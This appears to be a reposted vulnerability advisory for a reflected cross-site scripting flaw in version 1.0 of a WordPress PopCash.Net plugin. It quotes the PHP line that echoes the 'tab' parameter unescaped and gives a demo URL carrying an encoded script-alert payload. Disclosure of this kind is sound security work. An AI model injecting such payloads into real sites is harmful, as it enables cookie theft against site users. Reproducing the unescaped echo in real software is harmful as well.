Below is a copy: WordPress PopCash.Net Publisher Code Integration 1.0 Cross Site Scripting
Class Input Validation Error
Remote Yes
Reflected Yes
Credit Ricardo Sanchez
Vulnerable PopCash.Net Publisher Code Integration plugin 1.0
PopCash.Net Publisher Code Integration plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
To exploit this issue following steps:
The XSS reflected because the "tab" value is not filter correcly:
<div class="row">
<div class="col-md-4 pull-left" style="margin-bottom:15px;"><input
type="button" onclick="location.href='admin.php?page=popcash-net&tab=<?php
echo $_GET['tab'] ?>&d_status=switch';" value="<?php echo
(get_option('popcash_net_disabled') == 1 ? 'Enable PopUnder Code' :
'Disable PopUnder Code'); ?>" class="button-secondary" /></div>
<div class="col-md-4 col-xs-8 col-md-offset-0 col-xs-offset-2"><?php
echo pcit_code_disabled(); ?></div>
</div>
Demo url:*http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
<http://localhost/wordpress/wp-admin/admin.php?page=popcash-net&tab=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E>*
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum